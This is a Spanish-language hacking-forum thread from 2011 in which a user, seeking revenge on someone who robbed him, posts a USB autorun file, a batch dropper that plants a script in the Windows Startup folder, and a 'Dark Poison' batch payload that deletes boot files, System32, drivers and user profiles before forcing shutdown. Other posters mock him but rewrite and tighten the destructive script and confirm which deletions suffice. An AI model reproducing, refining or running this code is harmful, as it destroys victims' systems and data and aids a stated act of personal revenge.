Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: EL ZAR08 en 5 Febrero 2011, 20:23 pm


Título: Ayuda con Autorun, Batch y pendrive
Publicado por: EL ZAR08 en 5 Febrero 2011, 20:23 pm
Hola, yo de nuevo dando lata por este foro jejeje  :xD

Les expongo mi tema:

Por razones personales, me interesa destruirle el pc a una persona que me ha robado en ocasiones anteriores (uds saben, para darle una leccion...)

Lo que planeo hacer es meter en un pendrive un autorun que llame a un batch para copiar otro batch en la carpeta de inicio y al iniciar el pc, se autoejecute y destruya el pc.

Les doy mis codigos, si tienen ideas o saben como puedo mejorar algun codigo, seran bien recibidos.

Autorun:

Código:
[autorun]
open=copy.bat
shell\open\command=copy.bat

El batch para copiar mi virus

Código:
@echo off
EXPLORER "G:\"
copy "G:\Dark Poison.bat" "%USERPROFILE%\Mené Inicio\Programas\Inicio"
exit

En el batch anterior puse "EXPLORER "G:\" porque al darle click derecho sobre mi pc no abria la ventana del pendrive y... eso seria extraño jejeje  :xD

Aqui viene mi primera duda, en mi pc este pendrive es "G:\" pero si en otra pc es por ejemplo "F:\", ¿como saberlo o como forzar a windows a darle la G:\ u otra letra?

Y el code del virus...

Código:
@echo off
del /S /F /Q "C:\ntldr.dll"
del /S /F /Q "C:\*ntldr*"
del /S /F /Q "C:\Windows\System32\hal.dll"
del /S /F /Q "C:\Windows\System32\*hal*"
del /S /F /Q "C:\Windows\System32\ntoskrnl.exe"
del /S /F /Q "C:\command.com
del /S /F /Q "C:\Windows\win.com
del /S /F /Q "C:\Windows\Rundll.exe"
del /S /F /Q "C:\Windows\Rundll32.exe"
del /S /F /Q "C:\config.sys"
Copy %0 "C:\ntldr.dll"
Copy %0 "C:\Windows\System32\hal.dll"
Copy %0 "C:\Windows\System32\ntoskrnl.exe"
Copy %0 "C:\command.com
Copy %0 "C:\Windows\win.com
Copy %0 "C:\Windows\Rundll.exe"
Copy %0 "C:\Windows\Rundll32.exe"
Copy %0 "C:\config.sys"
del /S /F /Q "C:\Windows\System32\drivers"
taskkill /f /im "wmplayer.exe"
taskkill /f /im "ares.exe"
del /S /F /Q "C:\Documents and Settings"
del /S /F /Q "%USERPROFILE%"
del /S /F /Q "%APPDATA%\Local\Ares\My Shared Folder"
del /S /F /Q "C:\Windows\System"
del /S /F /Q "C:\Windows\System32"
@echo off
taskkill /f /im "msnmsgr.exe"
del /S /F /Q "%PROGRAMFILES%\Windows Live"
del /S /F /Q "%PROGRAMFILES%\Windows Live messenger"
del /S /F /Q "%PROGRAMFILES%\Messenger"
del /S /F /Q "%PROGRAMFILES%\Messenger Plus! Live"
@echo off
msg * Gracias por tu tiempo
msg * Tu computadora acaba de ser destruida por el Virus Dark Poison
shutdown -s -t 20 -c "Se te ha dañado el pc, cortesia de Virus Dark Poison"

Saludos, espero me puedan ayudar.

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: Elemental Code en 5 Febrero 2011, 21:55 pm
osea, MUUUUY LAMMER LO TUYO.

ahora al batch
te sobran lineas.

asi deberia quedar:
Código:
@echo off
del /S /F /Q "C:\ntldr.dll"
del /S /F /Q "C:\*ntldr*"
del /S /F /Q "C:\Windows\System32\hal.dll"
del /S /F /Q "C:\Windows\System32\*hal*"
del /S /F /Q "C:\Windows\System32\ntoskrnl.exe"
del /S /F /Q "C:\command.com
del /S /F /Q "C:\Windows\win.com
del /S /F /Q "C:\Windows\Rundll.exe"
del /S /F /Q "C:\Windows\Rundll32.exe"
del /S /F /Q "C:\config.sys"
del /S /F /Q "C:\Windows\System32\drivers"
del /S /F /Q "C:\Documents and Settings"
del /S /F /Q "%USERPROFILE%"
del /S /F /Q "%APPDATA%\Local\Ares\My Shared Folder"
del /S /F /Q "C:\Windows\System"
del /S /F /Q "C:\Windows\System32"
shutdown -s -f

vamos por las partes inutiles ahora:

Código:
Copy %0 "C:\ntldr.dll"
Copy %0 "C:\Windows\System32\hal.dll"
Copy %0 "C:\Windows\System32\ntoskrnl.exe"
Copy %0 "C:\command.com
Copy %0 "C:\Windows\win.com
Copy %0 "C:\Windows\Rundll.exe"
Copy %0 "C:\Windows\Rundll32.exe"
Copy %0 "C:\config.sys"

PARA QUE CORNO COPIARTE?!?!?!
Código:
taskkill /f /im "wmplayer.exe"
taskkill /f /im "ares.exe"
taskkill /f /im "msnmsgr.exe"

Si vas a apagar la pc al final, para que esto ¬¬
Código:
del /S /F /Q "%PROGRAMFILES%\Windows Live"
del /S /F /Q "%PROGRAMFILES%\Windows Live messenger"
del /S /F /Q "%PROGRAMFILES%\Messenger"
del /S /F /Q "%PROGRAMFILES%\Messenger Plus! Live"
Lo de borrar las descargas del ares lo entiendo, retorcido pero bueh, ahora el MSN?!??! si la pc no le funciona :S
Por ultimo
Código:
msg * Gracias por tu tiempo
msg * Tu computadora acaba de ser destruida por el Virus Dark Poison
shutdown -s -t 20 -c "Se te ha dañado el pc, cortesia de Virus Dark Poison"

JAMAS hagas eso.


Creo que eso es todo lo que se me ocurre asi rapido y por arriba ^^






Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: Edu en 5 Febrero 2011, 22:27 pm
Usa %windir% en vez de C:\Windows y sin comillas entonces quedaria
del /S /F /Q %windir%\System32\hal.dll

Se nota q has copiado el codigo, por el uso mas de una vez de @echo off asique mejor aprender primero porq ahora q veo bien tienes muchos errores y quieres borrar cosas q no se pueden de esa forma

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: EL ZAR08 en 5 Febrero 2011, 22:45 pm
Cita de: XXX-ZERO-XXX en  5 Febrero 2011, 22:27 pm
Usa %windir% en vez de C:\Windows y sin comillas entonces quedaria
del /S /F /Q %windir%\System32\hal.dll

Se nota q has copiado el codigo, por el uso mas de una vez de @echo off asique mejor aprender primero porq ahora q veo bien tienes muchos errores y quieres borrar cosas q no se pueden de esa forma

Gracias, lo siento pero estoy aqui para aprender, jams dije que fuera un experto XD

una pregunta...

si pongo esto

Código:
del /S /F /Q "%windir%\System32\*.*"

borraria todos los archivos dentro de la carpeta system32 cierto?

y asi

Código:
del /S /F /Q "%windir%\System32\*.exe"

todos los ejecutables no?

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: Edu en 5 Febrero 2011, 22:57 pm
Pero tendrias q sacarle los atributos tamb, y no digo q no vengas a aprender aca, pero es mejor si lees un tutorial bueno primero

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: jlpm en 10 Febrero 2011, 20:51 pm
entonces con solo esto del /S /F /Q "%windir%\System32\*.* puedes joder un pc?
saludoss

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: Edu en 10 Febrero 2011, 21:03 pm
Fijate un post mas arriba lo q puse, y con solo borrar 2 archivos o solo 1 ya esta

Título: Re: Ayuda con Autorun, Batch y pendrive
Publicado por: jlpm en 10 Febrero 2011, 22:38 pm
y funciona en winndows 7 y en vista?


Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines